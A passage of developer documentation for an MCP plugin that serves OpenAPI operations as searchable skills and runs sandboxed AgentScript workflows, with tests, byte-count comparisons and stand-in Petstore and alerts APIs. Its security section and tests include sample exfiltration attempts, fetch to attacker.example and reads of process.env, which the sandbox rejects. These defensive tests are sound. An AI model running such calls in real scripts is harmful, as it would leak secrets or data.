  expect(skillMd.match(/^### \w+$/gm)).toEqual(["### findPetsByStatus", "### findPetsByTags", "### getPetById"]);
  expect(bytes(skillMd)).toBe(7833);
  const staffOnly = (await mcp.raw.request({ jsonrpc: "2.0", id: 2, method: "resources/read", params: { uri: "skill://Accounts/SKILL.md" } })) as any;
  expect(staffOnly.error.message).toBe("Resource not found: skill://Accounts/SKILL.md");
  const listed = (await mcp.raw.request({ jsonrpc: "2.0", id: 3, method: "resources/list" })) as any;
  expect(listed.result.resources.map((resource: { uri: string }) => resource.uri)).toEqual(["skill://Pet%20catalog/SKILL.md", "skill://Store/SKILL.md", "skill://index.json"]);
});

test("search_skill finds the skill for each question", async ({ mcp }) => {
  const search = async (query: string) => {
    const { skills } = (await mcp.tools.call("search_skill", { query })).json();
    return skills.map((skill: { skillId: string; score: number }) => [skill.skillId, Number(skill.score.toFixed(2))]);
  };
  expect(await search("friendly dogs available")).toEqual([["pet-catalog", 0.46]]);
  expect(await search("vaccinated birds")).toEqual([["pet-catalog", 0.38]]);
  expect(await search("how many pets are in stock")).toEqual([["store", 0.5]]);
  expect(await search("cancel an order")).toEqual([["store", 0.23]]);
  expect(await search("inventory")).toEqual([["store", 0.24]]);
  expect(await search("puppies")).toEqual([]);
  expect(bytes(textOf(await mcp.tools.call("search_skill", { query: "friendly dogs available" })))).toBe(261);
});

test("search weighs the description most: the first draft, without the question's words, ranked by word count", async () => {
  const firstDraft = {
    ...bundle,
    skills: bundle.skills.map((skill) => (skill.id === "pet-catalog" ? { ...skill, description: "Find the shop's pets by status or tags, and read one pet." } : skill)),
  };
  const server = await FrontMcpInstance.createDirect({
    info: { name: "petstore", version: "1.0.0" },
    apps: [],
    plugins: [SkilledOpenApiPlugin.init({ source: { type: "inline", content: firstDraft }, requireSignature: false, credentials: { "petstore-key": "petstore-api-key" } })],
  });
  try {
    const { skills } = (await server.callTool("search_skill", { query: "friendly dogs available" })).structuredContent as { skills: { skillId: string; score: number }[] };
    expect(skills.map((skill) => [skill.skillId, Number(skill.score.toFixed(2))])).toEqual([["pet-catalog", 0.67], ["store", 0.33]]);
  } finally {
    await server.dispose();
  }
});

test("load_skill gives the model the instructions and the actions", async ({ mcp }) => {
  const result = await mcp.tools.call("load_skill", { skillId: "pet-catalog" });
  const { skill } = result.json();
  expect(skill.instructions).toContain("return only what the user asked for");
  expect(skill.actions.map((action: { actionId: string }) => action.actionId)).toEqual(["findPetsByStatus", "findPetsByTags", "getPetById"]);
  expect(bytes(textOf(result))).toBe(4399);
});

test("one script, one answer: eight dogs and a count", async ({ mcp }) => {
  received.length = 0;
  const result = await mcp.tools.call("run_workflow", { script: friendlyDogs });
  expect(result.json()).toMatchObject({
    success: true,
    value: {
      friendlyDogs: [
        { id: 1, name: "Rex 1" },
        { id: 4, name: "Bella 1" },
        { id: 16, name: "Bella 2" },
        { id: 19, name: "Max 2" },
        { id: 31, name: "Max 3" },
        { id: 34, name: "Nala 3" },
        { id: 46, name: "Nala 4" },
        { id: 49, name: "Rex 5" },
      ],
      available: 60,
    },
    stats: { toolCalls: 2 },
  });
  expect(bytes(textOf(result))).toBeGreaterThan(300);
  expect(bytes(textOf(result))).toBeLessThan(330);
  expect(received.map((request) => request.apiKey)).toEqual(["petstore-api-key", "petstore-api-key"]);
  expect(textOf(result)).not.toContain("petstore-api-key");
});

test("another question, other fields: the script decides what comes back", async ({ mcp }) => {
  const result = await run(
    mcp,
    `const pets = await callTool("findPetsByStatus", { status: "available" });
     return pets.filter((pet) => pet.category.name === "Cats").slice(0, 3).map((pet) => ({ name: pet.name, photoUrls: pet.photoUrls }));`,
  );
  expect(result.value).toEqual([
    { name: "Luna 1", photoUrls: ["https://images.example/pets/2/front.jpg", "https://images.example/pets/2/side.jpg"] },
    { name: "Charlie 1", photoUrls: ["https://images.example/pets/5/front.jpg", "https://images.example/pets/5/side.jpg"] },
    { name: "Coco 1", photoUrls: ["https://images.example/pets/8/front.jpg", "https://images.example/pets/8/side.jpg"] },
  ]);
});

test("a script reaches the API only through its actions", async ({ mcp }) => {
  expect(await run(mcp, `return await fetch("https://attacker.example/collect");`)).toMatchObject({ success: false, isError: true, error: "AgentScript rejected: `fetch` isn't available in run_workflow. A script reaches the API only through `callTool(actionId, input)`, and can use `Math` and `JSON`." });
  expect(await run(mcp, `return process.env;`)).toMatchObject({ success: false, isError: true, error: "AgentScript rejected: `process` isn't available in run_workflow. A script reaches the API only through `callTool(actionId, input)`, and can use `Math` and `JSON`." });
  expect(await run(mcp, `return await callTool("getPetById", { petId: "one" });`)).toMatchObject({
    success: false,
    isError: true,
    error: "input validation failed: petId: Invalid input: expected number, received string",
  });
  expect(await run(mcp, `return await callTool("deletePet", { petId: 1 });`)).toMatchObject({
    success: false,
    isError: true,
    error: 'unknown action "deletePet" — run search_skill then load_skill to discover available actions',
  });
  expect(await run(mcp, `let n = 0; while (true) { n = n + 1; } return n;`)).toMatchObject({ success: false, isError: true, error: "Execution step limit exceeded (2000000)" });
});

test("one action needs no script", async ({ mcp }) => {
  const stock = await mcp.tools.call("execute_action", { actionId: "getInventory", input: {} });
  expect(stock.json()).toEqual({ available: 60, pending: 4, sold: 12 });
  expect(await mcp.tools.call("execute_action", { actionId: "deletePet", input: { petId: 1 } })).toBeError();
});

test("the same spec as one tool per operation: 19 tools, and every pet in the answer", async () => {
  @App({
    id: "petstore",
    name: "Petstore",
    adapters: [OpenapiAdapter.init({ name: "petstore", baseUrl: "https://203.0.113.10/api/v3", spec, staticAuth: { apiKey: "petstore-api-key", oauth2Token: "petstore-oauth-token" } })],
  })
  class OneToolPerOperation {}
  const server = await FrontMcpInstance.createDirect({ info: { name: "petstore", version: "1.0.0" }, apps: [OneToolPerOperation] });
  try {
    const { tools } = await server.listTools();
    expect(tools).toHaveLength(19);
    expect(bytes(JSON.stringify(tools))).toBe(28058);
    const pets = await server.callTool("findPetsByStatus", { status: "available" });
    const stock = await server.callTool("getInventory", {});
    expect((pets.structuredContent as { data: unknown[] }).data).toHaveLength(60);
    expect(bytes(textOf(pets)) + bytes(textOf(stock))).toBe(14744);
  } finally {
    await server.dispose();
  }
});
```

The answer, with the run's own counts in `stats`:

```json
{
  "success": true,
  "value": {
    "friendlyDogs": [
      { "id": 1, "name": "Rex 1" }, { "id": 4, "name": "Bella 1" }, { "id": 16, "name": "Bella 2" }, { "id": 19, "name": "Max 2" },
      { "id": 31, "name": "Max 3" }, { "id": 34, "name": "Nala 3" }, { "id": 46, "name": "Nala 4" }, { "id": 49, "name": "Rex 5" }
    ],
    "available": 60
  },
  "stats": { "durationMs": 3, "toolCalls": 2, "steps": 770 }
}
```

<a id="what-toolslist-tells-the-model-find-a-skill-then-run-it"></a>

## What tools/list tells the model: find a skill, then run it

Before it can write that script, the model needs to know what the API can do, and where to look. `tools/list` has four tools, 9,066 bytes here, however many operations the API has. Their descriptions are instructions, and each one names the next step:

| Tool | What its description tells the model |
| --- | --- |
| `search_skill` | When the catalog at the end of this description "names the skill the user's request needs, call `load_skill` with that name directly: no search is needed". Otherwise search, with a `query` that's a "short natural-language description of what you want to do" |
| `load_skill` | Pass the name the catalog shows, or a `skillId` from a search, and "Load each skill once per conversation" |
| `execute_action` | "Run one action from `load_skill` directly, with no script" |
| `run_workflow` | "Run an AgentScript program in a sandbox to chain several actions from `load_skill` in one call", and how to write the script: `await callTool(actionId, input)`, and "Only `Math` and `JSON` are available" |

On every `tools/list`, the plugin also adds the skills this caller may use to the end of `search_skill`'s description, one line each. The Playground's caller is anonymous, so the list has two of the five skills:

```text
- **Pet catalog**: Find available, pending or sold pets, like dogs, cats and birds, by status or by tag, like friendly or vaccinated, and read one pet.
- **Store**: Count the pets in stock, and read an order.
```

With a list this short, the model can pick a skill from it and go straight to `load_skill`, as the description tells it to. A long list is cut at 16,000 characters, and the model searches. The numbers below count the search anyway, as the case for an API with more skills than the list can hold.

<a id="how-search_skill-finds-the-right-skill"></a>

## How search_skill finds the right skill

The model searches with a few words from the question:

**Reuses runnable project: petstore.**

Initial call configuration:

```js
{ tool: "search_skill", arguments: { query: "friendly dogs available" } }
```



It gets back Pet catalog, with a score of 0.46, in 261 bytes. `search_skill` ranks the skills with [VectoriaDB](https://github.com/agentfront/vectoriadb), AgentFront's vector database, inside the server. Each skill becomes a TF-IDF vector, a weight for each word, higher for words that few skills use. The words come from the skill's name, its description three times over, its tags, its actions' ids, summaries and descriptions, and each distinct word of its instructions once. Words like "the", "of" and "how" are left out. The query becomes a vector the same way. The skills closest to it, by cosine similarity, come first, and those under 0.1 are dropped. When none reaches 0.1, a plain word match scores each skill by the share of the query's words its text has. Then the plugin removes the skills this caller may not use. There's no embedding model to download and no API to call: the index is built the first time someone searches.

The tests pin these searches:

| The model searches for | `search_skill` returns |
| --- | --- |
| `friendly dogs available` | Pet catalog, 0.46 |
| `vaccinated birds` | Pet catalog, 0.38 |
| `how many pets are in stock` | Store, 0.50 |
| `cancel an order` | Store, 0.23, which can read an order. Orders, which cancels one, needs the `staff` role. |
| `inventory` | Store, 0.24, through its `getInventory` action |
| `puppies` | nothing |

The description counts most, so it's the part of a skill you write for search, in the words your users use. Our first draft of Pet catalog's description said "Find the shop's pets by status or tags, and read one pet." It has none of the words in `friendly dogs available`. The same search still finds Pet catalog, through "dogs" and "available" in its instructions, but no skill reaches 0.1, so the word match ranks them: Pet catalog at 0.67, and Store at 0.33 for "available", though Store can't answer the question. A test keeps that draft to show it. The description now names the animals and the tags people ask about. Search still matches words, not meaning: `puppies` finds nothing, because no skill's text says it.

Put the questions your users ask in tests, as this page does. A description edit that breaks a search then fails the build, not a conversation.

<a id="the-same-skills-as-mcp-resources"></a>

## The same skills, as MCP resources

A client that supports MCP skills can find them without `search_skill`. The server advertises the `io.modelcontextprotocol/skills` extension, and its instructions name the tools: "This server has 2 skills: load one by name with `load_skill`, or find one with `search_skill`; then run an action with `execute_action`, or chain several with `run_workflow`." The `skill://index.json` resource lists the two skills this caller may use, as `skills/list` and `resources/list` do. Each skill's `SKILL.md` is a resource with its name, description and instructions:

**Reuses runnable project: petstore.**

Initial call configuration:

```js
{ resource: "skill://Pet%20catalog/SKILL.md" }
```



Pet catalog's ends with an Actions section: each action this caller may run, with its input and output schemas as indented JSON, and how to run one with `execute_action` or chain several with `run_workflow`. So a client that reads it can run the actions without `load_skill`. It's 7,833 bytes, more than `load_skill`'s 4,399 for the same skill, because of the indentation. For this caller, a staff-only skill's `SKILL.md` answers `Resource not found`, as a skill that doesn't exist does.

<a id="what-load_skill-returns-and-what-the-script-keeps"></a>

## What load_skill returns, and what the script keeps

`load_skill` returns the skill's instructions and its actions, each with its input and output schema:

**Reuses runnable project: petstore.**

Initial call configuration:

```js
{ tool: "load_skill", arguments: { skillId: "pet-catalog" } }
```



The instructions are where you teach the model your API. Pet catalog's say that `findPetsByStatus` returns full records with photos and tags, and that the script should return only what the user asked for, like `{ id, name }`. A script that follows them, like the one above, calls two actions, keeps the friendly dogs, and drops everything else.

That's the difference from a fixed output trim: the script decides what comes back for this question. For "show me three of the cats", the same skill's script returns each cat's `name` and `photoUrls`, and nothing else.

<a id="the-numbers-42802-bytes-against-14039"></a>

## The numbers: 42,802 bytes against 14,039

| Same spec, same question | One tool per endpoint | Skills and a script |
| --- | --- | --- |
| Tools in `tools/list` | 19 | 4 |
| `tools/list` | 28,058 bytes | 9,066 bytes |
| Finding the skill | it picks from the 19 tools | `search_skill`: 261 bytes |
| Learning the API, once per conversation | nothing more | `load_skill`: 4,399 bytes |
| The answer | 14,744 bytes: 60 pet records and the stock counts | 313 bytes: eight dogs and a count |
| Calls the model makes | 2, and it filters 60 records | 3: `search_skill`, `load_skill`, then `run_workflow` |
| The first question, in all | 42,802 bytes | 14,039 bytes |
| Each question after that | another full answer | another `run_workflow` |

*[Illustration: Bytes the model receives for the first question, as two bars. One tool per endpoint: 28,058 bytes of tool definitions and 14,744 bytes of answers, 42,802 bytes in all. Skills and a script: 9,066 bytes of tool definitions, 4,660 bytes of search_skill and load_skill, and a 313-byte answer, 14,039 bytes in all.]*

These are UTF-8 bytes of the JSON each server sends, measured by this page's tests. They aren't tokens, which depend on the model. The answer sizes come from the stand-in shop's 60 available pets. A shop with more pets makes the first column's answer bigger, while the second column's stays a list of names. And as the API grows, the first column's catalog grows by about 1.5 KB per operation, the second column's by one line per skill.

Learning the API isn't free. The first question costs a `search_skill` and a `load_skill`, 4.7 KB here, and the instructions you write are part of that cost. If a few operations are needed in every conversation, keep them as plain tools: the adapter and the plugin [work side by side](https://frontmcp.dev/reference/plugins/skilled-openapi#next-to-the-openapi-adapter).

<a id="twenty-questions-later-323-kb-against-20-kb"></a>

## Twenty questions later: 323 KB against 20 KB

A conversation keeps what it reads. The tool definitions stay for the whole session, each answer stays after the model reads it, and the client sends all of it with every model request. So the gap from the first question widens with each question after it.

*[Illustration: What the conversation holds after each of 20 questions like the first, as two lines. One tool per endpoint starts at 42,802 bytes and climbs by 14,744 bytes a question, to 322,938 bytes after 20. Skills and a script starts at 14,039 bytes and climbs by about 313 bytes a question, to 19,986 bytes. The gap is 10 times after 10 questions and 16 times after 20.]*

If every question is like the first and needs fresh data, one tool per endpoint adds 14,744 bytes of pet records each time. Skills and a script add an answer of about 313 bytes, with the skill already loaded:

| Questions so far | One tool per endpoint | Skills and a script | Less |
| --- | --- | --- | --- |
| 1 | 42,802 bytes | 14,039 bytes | 3.0 times |
| 5 | 101,778 bytes | 15,291 bytes | 6.7 times |
| 10 | 175,498 bytes | 16,856 bytes | 10 times |
| 20 | 322,938 bytes | 19,986 bytes | 16 times |

Both grow in a straight line; the step is what differs. So the model request after the twentieth question carries 323 KB on one side and 20 KB on the other. These rows add up the sizes this page measures; they aren't a recorded session. Real questions differ, and a client may trim old answers.

<a id="when-the-api-wasnt-built-for-the-question"></a>

## When the API wasn't built for the question

REST APIs return what screens and integrations need: whole records, every field, every row that matches a filter. An agent's question usually needs a few values, and often a chain of calls to get them. Take a question an on-call lead asks: which three users have the most open alerts, and what are their user ids?

A typical activity API has no endpoint for that. Its alerts name the assignee by email only. So the answer takes three steps: list the open alerts, count them by email, then look up each of the three users to read their ids. This second Playground serves a hypothetical activity API with four operations, 25 users and 300 open alerts, as two skills, Alerts and Users. The **Call** tab sends the script for the question, and the **Tests** tab checks the numbers below.

Initial call configuration:

```js
{ tool: "run_workflow", arguments: { script: [
'const alerts = await callTool("listAlerts", { status: "open" });',
'const emails = alerts.map((alert) => alert.assignee.email);',
'const ranked = emails',
'  .filter((email, index) => emails.indexOf(email) === index)',
'  .map((email) => ({ email, openAlerts: emails.filter((other) => other === email).length }))',
'  .sort((first, second) => second.openAlerts - first.openAlerts)',
'  .slice(0, 3);',
'const busiest = [];',
'for (const entry of ranked) {',
'  const user = await callTool("getUserByEmail", { email: entry.email });',
'  busiest.push({ id: user.id, openAlerts: entry.openAlerts });',
'}',
'return busiest;',
].join("\n") } }
```

```ts main.ts active
import "./activity.example";
import { FrontMcp } from "@frontmcp/sdk";
import { SkilledOpenApiPlugin } from "@frontmcp/plugin-skilled-openapi";
import { compileSkilledBundleFromOpenApi } from "@frontmcp/adapters/skills";
import { spec } from "./activity-spec";

export const bundle = await compileSkilledBundleFromOpenApi(
  spec,
  [
    {
      id: "alerts",
      name: "Alerts",
      description: "List open, acknowledged or resolved alerts, with the user each one is assigned to, and read one alert.",
      instructions: [
        "# Alerts",
        "",
        "- `listAlerts` returns every alert with a status, in full. An alert names its assignee by `email` only.",
        "  Count, filter and sort in the script, and return only what the user asked for.",
        "- `getAlert` reads one alert by id.",
      ].join("\n"),
      operationIds: ["listAlerts", "getAlert"],
    },
    {
      id: "users",
      name: "Users",
      description: "Find a user by email or by id: their user id, name, team and role.",
      instructions: "# Users\n\n`getUserByEmail` returns the user with an email, `getUser` the user with an id. Return the fields the user asked for.",
      operationIds: ["getUserByEmail", "getUser"],
    },
  ],
  { bundleId: "activity", version: spec.info.version, baseUrl: "https://203.0.113.20/v1" },
);

@FrontMcp({
  info: { name: "activity", version: "1.0.0" },
  apps: [],
  plugins: [SkilledOpenApiPlugin.init({ source: { type: "inline", content: bundle }, requireSignature: false })],
})
export default class Server {}
```

```ts activity-spec.ts
// A hypothetical activity API, the shape many monitoring APIs have: full records, filtered by status and nothing else.
const alert = {
  type: "object",
  required: ["id", "title", "severity", "status", "assignee"],
  properties: {
    id: { type: "string" },
    title: { type: "string" },
    description: { type: "string" },
    severity: { type: "string", enum: ["critical", "high", "medium", "low"] },
    status: { type: "string", enum: ["open", "acknowledged", "resolved"] },
    service: { type: "string" },
    environment: { type: "string" },
    source: { type: "string" },
    createdAt: { type: "string", format: "date-time" },
    updatedAt: { type: "string", format: "date-time" },
    assignee: { type: "object", properties: { email: { type: "string" }, name: { type: "string" } } },
    labels: { type: "object", additionalProperties: { type: "string" } },
    runbookUrl: { type: "string" },
    dashboardUrl: { type: "string" },
  },
};
const user = {
  type: "object",
  required: ["id", "email", "name"],
  properties: {
    id: { type: "string" },
    email: { type: "string" },
    name: { type: "string" },
    team: { type: "string" },
    role: { type: "string" },
    timezone: { type: "string" },
    createdAt: { type: "string", format: "date-time" },
    lastSeenAt: { type: "string", format: "date-time" },
    avatarUrl: { type: "string" },
    notifications: { type: "object", properties: { email: { type: "boolean" }, sms: { type: "boolean" }, push: { type: "boolean" } } },
  },
};
const ok = (schema: object) => ({ 200: { description: "OK", content: { "application/json": { schema } } } });

export const spec = {
  openapi: "3.0.3",
  info: { title: "Activity API", version: "2.4.0" },
  paths: {
    "/alerts": {
      get: {
        operationId: "listAlerts",
        summary: "List alerts with a status.",
        parameters: [{ name: "status", in: "query", required: true, schema: { type: "string", enum: ["open", "acknowledged", "resolved"] } }],
        responses: ok({ type: "array", items: alert }),
      },
    },
    "/alerts/{alertId}": {
      get: { operationId: "getAlert", summary: "Read an alert.", parameters: [{ name: "alertId", in: "path", required: true, schema: { type: "string" } }], responses: ok(alert) },
    },
    "/users/by-email/{email}": {
      get: { operationId: "getUserByEmail", summary: "Find a user by email.", parameters: [{ name: "email", in: "path", required: true, schema: { type: "string" } }], responses: ok(user) },
    },
    "/users/{userId}": {
      get: { operationId: "getUser", summary: "Read a user.", parameters: [{ name: "userId", in: "path", required: true, schema: { type: "string" } }], responses: ok(user) },
    },
  },
};
```

```ts activity.example.ts
// Plays a hypothetical activity API at https://203.0.113.20/v1, which the Playground can't reach: 25 users and 300 open alerts.
export const received: string[] = [];

const firstNames = ["Ada", "Ben", "Chen", "Dana", "Eli", "Fay", "Gus", "Hana", "Ivo", "Jun", "Kai", "Lea", "Mo", "Nia", "Oto", "Pia", "Quin", "Rae", "Sol", "Tia", "Uma", "Vic", "Wes", "Xan", "Yara"];
const teams = ["payments", "checkout", "search", "platform", "identity"];
export const users = firstNames.map((firstName, index) => ({
  id: `usr_${String(1001 + index * 37)}`,
  email: `${firstName.toLowerCase()}@acme.example`,
  name: `${firstName} ${["Lopez", "Okafor", "Novak", "Haddad", "Silva"][index % 5]}`,
  team: teams[index % teams.length],
  role: index % 4 === 0 ? "lead" : "engineer",
  timezone: ["Europe/Berlin", "America/New_York", "Asia/Tokyo", "Europe/London", "America/Sao_Paulo"][index % 5],
  createdAt: `2024-0${(index % 9) + 1}-1${index % 10}T09:00:00Z`,
  lastSeenAt: `2026-11-0${(index % 3) + 1}T1${index % 10}:30:00Z`,
  avatarUrl: `https://avatars.acme.example/${firstName.toLowerCase()}.png`,
  notifications: { email: true, sms: index % 3 === 0, push: index % 2 === 0 },
}));

const openAlertsPerUser = [9, 31, 4, 12, 26, 7, 38, 15, 3, 19, 10, 6, 22, 8, 5, 14, 2, 11, 17, 13, 6, 9, 5, 4, 4];
const services = ["checkout", "payments-api", "search-indexer", "auth", "web"];
const assignees = openAlertsPerUser.flatMap((count, userIndex) => Array.from({ length: count }, () => users[userIndex]));
export const alerts = assignees
  .map((assignee, index) => ({ assignee, order: (index * 7919) % assignees.length }))
  .sort((first, second) => first.order - second.order)
  .map(({ assignee }, index) => {
    const service = services[index % services.length];
    const host = `${service}-${(index % 12) + 1}`;
    return {
      id: `alr_${String(40000 + index)}`,
      title: `${["CPU above 90%", "Error rate above 2%", "p99 latency above 800 ms", "Disk above 85%"][index % 4]} on ${host}`,
      description: `Triggered by the ${["cpu", "errors", "latency", "disk"][index % 4]} rule for ${service} in production. The condition held for 5 minutes; see the runbook for the first steps.`,
      severity: ["critical", "high", "medium", "low"][index % 4],
      status: "open",
      service,
      environment: "production",
      source: "prometheus",
      createdAt: `2026-11-0${(index % 4) + 1}T0${index % 10}:${String(index % 60).padStart(2, "0")}:00Z`,
      updatedAt: `2026-11-04T0${index % 10}:${String((index * 3) % 60).padStart(2, "0")}:00Z`,
      assignee: { email: assignee.email, name: assignee.name },
      labels: { region: ["eu-west-1", "us-east-1"][index % 2], team: assignee.team, host },
      runbookUrl: `https://runbooks.acme.example/${service}/${["cpu", "errors", "latency", "disk"][index % 4]}`,
      dashboardUrl: `https://grafana.acme.example/d/${service}?var-host=${host}`,
    };
  });

async function activityApi(request: Request): Promise<Response> {
  const url = new URL(request.url);
  received.push(`${request.method} ${url.pathname}${url.search}`);
  if (url.pathname === "/v1/alerts") return Response.json(alerts.filter((alert) => alert.status === url.searchParams.get("status")));
  const byEmail = url.pathname.match(/^\/v1\/users\/by-email\/(.+)$/);
  const found = byEmail ? users.find((candidate) => candidate.email === decodeURIComponent(byEmail[1])) : undefined;
  return found ? Response.json(found) : Response.json({ message: "Not found" }, { status: 404 });
}

const realFetch: typeof fetch = ((globalThis as any).__realFetch ??= globalThis.fetch);
globalThis.fetch = (input, init) => {
  const url = new URL(input instanceof Request ? input.url : String(input));
  return url.hostname === "203.0.113.20" ? activityApi(new Request(input, init)) : realFetch(input, init);
};
```

```ts activity.test.ts
import { test, expect } from "@frontmcp/testing";
import { App, FrontMcpInstance } from "@frontmcp/sdk";
import { OpenapiAdapter } from "@frontmcp/adapters";
import { spec } from "./activity-spec";
import { received, users } from "./activity.example";

const bytes = (text: string) => new TextEncoder().encode(text).length;
const textOf = (result: any) => (result.raw ?? result).content[0].text as string;

const busiest = `const alerts = await callTool("listAlerts", { status: "open" });
const emails = alerts.map((alert) => alert.assignee.email);
const ranked = emails
  .filter((email, index) => emails.indexOf(email) === index)
  .map((email) => ({ email, openAlerts: emails.filter((other) => other === email).length }))
  .sort((first, second) => second.openAlerts - first.openAlerts)
  .slice(0, 3);
const busiest = [];
for (const entry of ranked) {
  const user = await callTool("getUserByEmail", { email: entry.email });
  busiest.push({ id: user.id, openAlerts: entry.openAlerts });
}
return busiest;`;

const answer = [
  { id: "usr_1223", openAlerts: 38 },
  { id: "usr_1038", openAlerts: 31 },
  { id: "usr_1149", openAlerts: 26 },
];

test("one script: four calls on the server, three ids back", async ({ mcp }) => {
  received.length = 0;
  const result = await mcp.tools.call("run_workflow", { script: busiest });
  expect(result.json()).toMatchObject({ success: true, value: answer, stats: { toolCalls: 4 } });
  expect(result.json().stats.durationMs).toBeLessThan(1000);
  expect(received).toEqual([
    "GET /v1/alerts?status=open",
    "GET /v1/users/by-email/gus%40acme.example",
    "GET /v1/users/by-email/ben%40acme.example",
    "GET /v1/users/by-email/eli%40acme.example",
  ]);
  expect(bytes(textOf(result))).toBeGreaterThan(170);
  expect(bytes(textOf(result))).toBeLessThan(200);
});

test("the model learns both skills once", async ({ mcp }) => {
  expect(bytes(JSON.stringify(await mcp.tools.list()))).toBe(9054);
  expect(bytes(textOf(await mcp.tools.call("load_skill", { skillId: "alerts" })))).toBe(2612);
  expect(bytes(textOf(await mcp.tools.call("load_skill", { skillId: "users" })))).toBe(1896);
});

test("one tool per endpoint: 300 alerts and three full users for three ids", async () => {
  @App({ id: "activity", name: "Activity", adapters: [OpenapiAdapter.init({ name: "activity", baseUrl: "https://203.0.113.20/v1", spec })] })
  class OneToolPerOperation {}
  const server = await FrontMcpInstance.createDirect({ info: { name: "activity", version: "1.0.0" }, apps: [OneToolPerOperation] });
  try {
    const { tools } = await server.listTools();
    expect(tools).toHaveLength(4);
    expect(bytes(JSON.stringify(tools))).toBe(5342);
    const listed = await server.callTool("listAlerts", { status: "open" });
    const openAlerts = (listed.structuredContent as { data: { assignee: { email: string } }[] }).data;
    expect(openAlerts).toHaveLength(300);
    expect(bytes(textOf(listed))).toBe(194449);
    const emails = openAlerts.map((openAlert) => openAlert.assignee.email);
    const topEmails = [...new Set(emails)]
      .map((email) => [email, emails.filter((other) => other === email).length] as const)
      .sort((first, second) => second[1] - first[1])
      .slice(0, 3)
      .map(([email]) => email);
    const lookups = [];
    for (const email of topEmails) lookups.push(await server.callTool("getUserByEmail", { email }));
    expect(lookups.map((lookup) => (lookup.structuredContent as { data: { id: string } }).data.id)).toEqual(answer.map((entry) => entry.id));
    expect(lookups.reduce((total, lookup) => total + bytes(textOf(lookup)), 0)).toBe(1013);
    expect(users).toHaveLength(25);
  } finally {
    await server.dispose();
  }
});
```

Through one tool per endpoint, the model makes those calls itself:

*[Illustration: The question through one tool per endpoint. The model calls listAlerts with status open. The adapter sends GET /alerts?status=open, and the model gets all 300 alerts, 194 KB. The model counts the alerts by email in its context. It calls getUserByEmail three times and gets three full user records, 1 KB. It picks out three ids and answers.]*

`listAlerts` returns all 300 open alerts, full records with titles, descriptions, labels and links: 194,449 bytes. The model counts them by email in its own context, calls `getUserByEmail` three times, and picks the ids out of three full user records, 1,013 bytes more. Each round of calls waits for a model request, and every request after the first carries the 194 KB.

Through Skilled OpenAPI, the same four calls run inside one script:

*[Illustration: The same question through Skilled OpenAPI. The model sends run_workflow with a script. The script calls GET /alerts?status=open and gets 300 alerts, 194 KB, which stay on the server. It counts and sorts them, calls GET /users/by-email three times, and the model gets back three ids and their counts, 182 bytes.]*

The model sends one `run_workflow`. The script lists the alerts, counts and sorts them in Enclave, looks up three users, and returns three ids and their counts: 182 bytes.

| Busiest users, open alerts | One tool per endpoint | Skills and a script |
| --- | --- | --- |
| Calls the model makes | 4, in two rounds: `listAlerts`, then `getUserByEmail` 3 times | 1: `run_workflow` |
| Model requests before the answer | 3: one for each round, then the answer | 2: the script, then the answer |
| Who counts the 300 alerts | the model, in its context | the script, in Enclave |
| The answers the model reads | 195,462 bytes: 300 alerts and 3 full users | 182 bytes: 3 ids and their counts |
| `tools/list` | 5,342 bytes, 4 tools | 9,054 bytes, 4 tools |
| Learning the API, once per conversation | nothing more | `load_skill` for Alerts and Users: 4,508 bytes |

With four operations, the adapter's `tools/list` is the smaller one; the difference is in the answers. Every question like this one adds 195 KB to the first column's conversation, and 182 bytes to the second's.

Latency follows the same shape. The script's four calls run back to back on the server, well under a second here, inside one tool call. On the other path, each round waits for a model request, and the second request has to read 194 KB first. This page has no model to time, so it counts the rounds rather than guess at seconds.

<a id="what-a-script-cant-do"></a>

## What a script can't do

The model decides what to run and what comes back, inside limits the server sets. The tests try each of these:

| The script tries | It gets |
| --- | --- |
| `fetch("https://attacker.example/collect")` | ``AgentScript rejected: `fetch` isn't available in run_workflow``, before the script runs |
| `process.env` | ``AgentScript rejected: `process` isn't available in run_workflow``, before the script runs |
| `callTool("getPetById", { petId: "one" })` | `input validation failed: petId: Invalid input: expected number, received string`, before any request is sent |
| `callTool("deletePet", { petId: 1 })`, without the `staff` role | `unknown action "deletePet" — run search_skill then load_skill to discover available actions` |
| `while (true) { … }` | `Execution step limit exceeded (2000000)` |

Each of these is an error result, with the reason in `error`. `deletePet` belongs to Pet records, which this caller can't see, so the script is told the action doesn't exist rather than that it's forbidden. The plugin checks each script before it runs: it may use `callTool`, `Math` and `JSON`, and no other global. The refusal names what the script wrote and says what it can use instead: ``AgentScript rejected: `fetch` isn't available in run_workflow. A script reaches the API only through `callTool(actionId, input)`, and can use `Math` and `JSON`.`` Before FrontMCP 1.11.2, the script ran, and failed on the sandbox's internal name for the global, `'__safe_fetch' is not defined`. The script can't reach the network on its own: the only way out is `callTool`, to the bundle's operations, through the plugin's checks. A script also stops after 25 `callTool`s or 8 seconds.

The API key never reaches the model. The plugin adds it to the request after the script hands over the input. The stand-in Petstore received `api_key: petstore-api-key` on every request, and the tests check that the answer doesn't contain it. Try the first row yourself:

**Reuses runnable project: petstore.**

Initial call configuration:

```js
{ tool: "run_workflow", arguments: { script: 'return await fetch("https://attacker.example/collect");' } }
```



<a id="each-caller-sees-only-what-they-may-use"></a>

## Each caller sees only what they may use

Orders, Pet records and Accounts require the `staff` role, and the Playground's caller is anonymous. So `search_skill`'s list has two skills, not five, and a search never returns the other three: `cancel an order` finds Store. `resources/list` and `skill://index.json` list two `SKILL.md` files. `load_skill` answers `SKILL_NOT_FOUND` for Accounts, as it does for a skill that doesn't exist, and a script or an `execute_action` that names `deletePet` anyway gets `unknown action`. On a real server, the roles come from the caller's token: [authorizing actions](https://frontmcp.dev/reference/plugins/skilled-openapi#authorizing-actions) shows signed-in callers with and without the role.

<a id="before-you-ship-it"></a>

## Before you ship it

The bundle on this page is built in the page and runs unsigned, with `requireSignature: false`. A production server should:

- **Sign its bundles.** `requireSignature` is on by default, and the plugin applies only a bundle signed with one of your `trustedKeys`; [requiring signed bundles](https://frontmcp.dev/reference/plugins/skilled-openapi#requiring-signed-bundles) shows the CI step.
- **Deny what isn't ruled.** With `unprotectedOps: "deny"`, an operation without `requiredAuthorities` is refused unless it's marked `public: true`. `compileSkilledBundleFromOpenApi()` adds neither, so add them to the bundle before you sign it.
- **Keep secrets in a vault.** `credentials` here is a fixed map; [supplying credentials](https://frontmcp.dev/reference/plugins/skilled-openapi#supplying-credentials) fetches them per call instead.
- **Know the script language's limits.** AgentScript has no `try`/`catch`, no `++`, and no `Promise`, so a script's calls run one at a time. A failed call ends the script with its error, unless the script passes `{ throwOnError: false }` as `callTool`'s third argument and checks `ok`.

